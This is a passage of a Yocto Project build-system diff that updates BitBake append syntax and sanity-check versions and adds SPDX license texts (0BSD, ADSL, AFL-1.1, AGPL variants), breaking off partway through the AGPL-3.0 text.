-BBCLASSEXTEND_append = " ${MULTILIBS}"
+BBCLASSEXTEND:append = " ${MULTILIBS}"
MULTILIB_GLOBAL_VARIANTS ?= "lib32 lib64 libx32"
-OPKG_ARGS_append = " --force-maintainer --force-overwrite"
+OPKG_ARGS:append = " --force-maintainer --force-overwrite"
# When multilib is enabled, allarch recipes will be installed into the MACHINE
# sysroot, not MLPREFIXMACHINE. This means that anything using pkg-config to
diff --git a/meta/conf/sanity.conf b/meta/conf/sanity.conf
index 8ae548941b..95931a2009 100644
--- a/meta/conf/sanity.conf
+++ b/meta/conf/sanity.conf
@@ -3,12 +3,12 @@
# See sanity.bbclass
#
# Expert users can confirm their sanity with "touch conf/sanity.conf"
-BB_MIN_VERSION = "1.47.0"
+BB_MIN_VERSION = "1.51.1"
SANITY_ABIFILE = "${TMPDIR}/abi_version"
SANITY_VERSION ?= "1"
-LOCALCONF_VERSION ?= "1"
+LOCALCONF_VERSION ?= "2"
LAYER_CONF_VERSION ?= "7"
SITE_CONF_VERSION ?= "1"
diff --git a/meta/files/common-licenses/0BSD b/meta/files/common-licenses/0BSD
new file mode 100644
index 0000000000..0b8ae762b2
--- /dev/null
+++ b/meta/files/common-licenses/0BSD
@@ -0,0 +1,5 @@
+Copyright (C) YEAR by AUTHOR EMAIL
+
+Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted.
+
+THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/ADSL b/meta/files/common-licenses/ADSL
new file mode 100644
index 0000000000..dc509208cc
--- /dev/null
+++ b/meta/files/common-licenses/ADSL
@@ -0,0 +1 @@
+This software code is made available "AS IS" without warranties of any kind. You may copy, display, modify and redistribute the software code either by itself or as incorporated into your code; provided that you do not remove any proprietary notices. Your use of this software code is at your own risk and you waive any claim against Amazon Digital Services, Inc. or its affiliates with respect to your use of this software code. (c) 2006 Amazon Digital Services, Inc. or its affiliates.
diff --git a/meta/files/common-licenses/AFL-1.1 b/meta/files/common-licenses/AFL-1.1
new file mode 100644
index 0000000000..446c0aca44
--- /dev/null
+++ b/meta/files/common-licenses/AFL-1.1
@@ -0,0 +1,27 @@
+Academic Free License
+Version 1.1
+
+The Academic Free License applies to any original work of authorship (the "Original Work") whose owner (the "Licensor") has placed the following notice immediately following the copyright notice for the Original Work:
+
+ "Licensed under the Academic Free License version 1.1."
+
+Grant of License. Licensor hereby grants to any person obtaining a copy of the Original Work ("You") a world-wide, royalty-free, non-exclusive, perpetual, non-sublicenseable license
+
+(1) to use, copy, modify, merge, publish, perform, distribute and/or sell copies of the Original Work and derivative works thereof, and
+
+(2) under patent claims owned or controlled by the Licensor that are embodied in the Original Work as furnished by the Licensor, to make, use, sell and offer for sale the Original Work and derivative works thereof, subject to the following conditions.
+
+ Right of Attribution. Redistributions of the Original Work must reproduce all copyright notices in the Original Work as furnished by the Licensor, both in the Original Work itself and in any documentation and/or other materials provided with the distribution of the Original Work in executable form.
+
+ Exclusions from License Grant. Neither the names of Licensor, nor the names of any contributors to the Original Work, nor any of their trademarks or service marks, may be used to endorse or promote products derived from this Original Work without express prior written permission of the Licensor.
+
+WARRANTY AND DISCLAIMERS. LICENSOR WARRANTS THAT THE COPYRIGHT IN AND TO THE ORIGINAL WORK IS OWNED BY THE LICENSOR OR THAT THE ORIGINAL WORK IS DISTRIBUTED BY LICENSOR UNDER A VALID CURRENT LICENSE FROM THE COPYRIGHT OWNER. EXCEPT AS EXPRESSLY STATED IN THE IMMEDIATELY PRECEEDING SENTENCE, THE ORIGINAL WORK IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTY, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, THE WARRANTY OF NON-INFRINGEMENT AND WARRANTIES THAT THE ORIGINAL WORK IS MERCHANTABLE OR FIT FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY OF THE ORIGINAL WORK IS WITH YOU. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO LICENSE TO ORIGINAL WORK IS GRANTED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+LIMITATION OF LIABILITY. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE LICENSOR BE LIABLE TO ANY PERSON FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER ARISING AS A RESULT OF THIS LICENSE OR THE USE OF THE ORIGINAL WORK INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PERSON SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+License to Source Code. The term "Source Code" means the preferred form of the Original Work for making modifications to it and all available documentation describing how to access and modify the Original Work. Licensor hereby agrees to provide a machine-readable copy of the Source Code of the Original Work along with each copy of the Original Work that Licensor distributes. Licensor reserves the right to satisfy this obligation by placing a machine-readable copy of the Source Code in an information repository reasonably calculated to permit inexpensive and convenient access by You for as long as Licensor continues to distribute the Original Work, and by publishing the address of that information repository in a notice immediately following the copyright notice that applies to the Original Work.
+
+Mutual Termination for Patent Action. This License shall terminate automatically and You may no longer exercise any of the rights granted to You by this License if You file a lawsuit in any court alleging that any OSI Certified open source software that is licensed under any license containing this "Mutual Termination for Patent Action" clause infringes any patent claims that are essential to use that software.
+
+This license is Copyright (C) 2002 Lawrence E. Rosen. All rights reserved.
+Permission is hereby granted to copy and distribute this license without modification. This license may not be modified without the express written permission of its copyright owner.
diff --git a/meta/files/common-licenses/AGPL-1.0-only b/meta/files/common-licenses/AGPL-1.0-only
new file mode 100644
index 0000000000..a00f82e601
--- /dev/null
+++ b/meta/files/common-licenses/AGPL-1.0-only
@@ -0,0 +1,86 @@
+AFFERO GENERAL PUBLIC LICENSE
+Version 1, March 2002 Copyright © 2002 Affero Inc. 510 Third Street - Suite 225, San Francisco, CA 94107, USA
+
+This license is a modified version of the GNU General Public License copyright (C) 1989, 1991 Free Software Foundation, Inc. made with their permission. Section 2(d) has been added to cover use of software over a computer network.
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share and change it. By contrast, the Affero General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This Public License applies to most of Affero's software and to any other program whose authors commit to using it. (Some other Affero software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. This General Public License is designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.
+
+For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.
+
+The precise terms and conditions for copying, distribution and modification follow.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this Affero General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.
+
+1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:
+
+ a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.
+ b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.
+ c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)
+ d) If the Program as you received it is intended to interact with users through a computer network and if, in the version you received, any user interacting with the Program was given the opportunity to request transmission to that user of the Program's complete source code, you must not remove that facility from your modified version of the Program or work based on the Program, and must offer an equivalent opportunity for all users interacting with your Program through a computer network to request immediate transmission by HTTP of the complete source code of your modified version or other derivative work.
+
+These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
+
+3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:
+ a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+ b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+ c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
+
+If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
+
+4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.
+
+6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
+
+7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.
+
+This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
+
+8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+9. Affero Inc. may publish revised and/or new versions of the Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by Affero, Inc. If the Program does not specify a version number of this License, you may choose any version ever published by Affero, Inc.
+
+You may also choose to redistribute modified versions of this program under any version of the Free Software Foundation's GNU General Public License version 3 or higher, so long as that version of the GNU GPL includes terms and conditions substantially equivalent to those of this license.
+
+10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by Affero, Inc., write to us; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.
+
+NO WARRANTY
+
+11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/AGPL-1.0-or-later b/meta/files/common-licenses/AGPL-1.0-or-later
new file mode 100644
index 0000000000..a00f82e601
--- /dev/null
+++ b/meta/files/common-licenses/AGPL-1.0-or-later
@@ -0,0 +1,86 @@
+AFFERO GENERAL PUBLIC LICENSE
+Version 1, March 2002 Copyright © 2002 Affero Inc. 510 Third Street - Suite 225, San Francisco, CA 94107, USA
+
+This license is a modified version of the GNU General Public License copyright (C) 1989, 1991 Free Software Foundation, Inc. made with their permission. Section 2(d) has been added to cover use of software over a computer network.
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+Preamble
+
+The licenses for most software are designed to take away your freedom to share and change it. By contrast, the Affero General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This Public License applies to most of Affero's software and to any other program whose authors commit to using it. (Some other Affero software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. This General Public License is designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.
+
+For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.
+
+Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.
+
+The precise terms and conditions for copying, distribution and modification follow.
+
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this Affero General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.
+
+1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.
+
+2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:
+
+ a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.
+ b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.
+ c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)
+ d) If the Program as you received it is intended to interact with users through a computer network and if, in the version you received, any user interacting with the Program was given the opportunity to request transmission to that user of the Program's complete source code, you must not remove that facility from your modified version of the Program or work based on the Program, and must offer an equivalent opportunity for all users interacting with your Program through a computer network to request immediate transmission by HTTP of the complete source code of your modified version or other derivative work.
+
+These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.
+
+3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:
+ a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+ b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
+ c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.
+
+If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.
+
+4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.
+
+6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.
+
+7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.
+
+This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.
+
+8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.
+
+9. Affero Inc. may publish revised and/or new versions of the Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by Affero, Inc. If the Program does not specify a version number of this License, you may choose any version ever published by Affero, Inc.
+
+You may also choose to redistribute modified versions of this program under any version of the Free Software Foundation's GNU General Public License version 3 or higher, so long as that version of the GNU GPL includes terms and conditions substantially equivalent to those of this license.
+
+10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by Affero, Inc., write to us; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.
+
+NO WARRANTY
+
+11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/AGPL-3.0 b/meta/files/common-licenses/AGPL-3.0-only
index dba13ed2dd..dba13ed2dd 100644
--- a/meta/files/common-licenses/AGPL-3.0
+++ b/meta/files/common-licenses/AGPL-3.0-only
diff --git a/meta/files/common-licenses/AGPL-3.0-or-later b/meta/files/common-licenses/AGPL-3.0-or-later
new file mode 100644
index 0000000000..fe0ef42ff4
--- /dev/null
+++ b/meta/files/common-licenses/AGPL-3.0-or-later
@@ -0,0 +1,613 @@
+GNU AFFERO GENERAL PUBLIC LICENSE
+
+Version 3, 19 November 2007
+
+Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The GNU Affero General Public License is a free, copyleft license for software
+and other kinds of works, specifically designed to ensure cooperation with
+the community in the case of network server software.
+
+The licenses for most software and other practical works are designed to take
+away your freedom to share and change the works. By contrast, our General
+Public Licenses are intended to guarantee your freedom to share and change
+all versions of a program--to make sure it remains free software for all its
+users.
+
+When we speak of free software, we are referring to freedom, not price. Our
+General Public Licenses are designed to make sure that you have the freedom
+to distribute copies of free software (and charge for them if you wish), that
+you receive source code or can get it if you want it, that you can change
+the software or use pieces of it in new free programs, and that you know you
+can do these things.
+
+Developers that use our General Public Licenses protect your rights with two
+steps: (1) assert copyright on the software, and (2) offer you this License
+which gives you legal permission to copy, distribute and/or modify the software.
+
+A secondary benefit of defending all users' freedom is that improvements made
+in alternate versions of the program, if they receive widespread use, become
+available for other developers to incorporate. Many developers of free software
+are heartened and encouraged by the resulting cooperation. However, in the
+case of software used on network servers, this result may fail to come about.
+The GNU General Public License permits making a modified version and letting
+the public access it on a server without ever releasing its source code to
+the public.
+
+The GNU Affero General Public License is designed specifically to ensure that,
+in such cases, the modified source code becomes available to the community.
+It requires the operator of a network server to provide the source code of
+the modified version running there to the users of that server. Therefore,
+public use of a modified version, on a publicly accessible server, gives the
+public access to the source code of the modified version.
+
+An older license, called the Affero General Public License and published by
+Affero, was designed to accomplish similar goals. This is a different license,
+not a version of the Affero GPL, but Affero has released a new version of
+the Affero GPL which permits relicensing under this license.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+TERMS AND CONDITIONS
+
+ 0. Definitions.
+
+ "This License" refers to version 3 of the GNU Affero General Public License.
+
+"Copyright" also means copyright-like laws that apply to other kinds of works,
+such as semiconductor masks.
+
+"The Program" refers to any copyrightable work licensed under this License.
+Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals
+or organizations.
+
+To "modify" a work means to copy from or adapt all or part of the work in
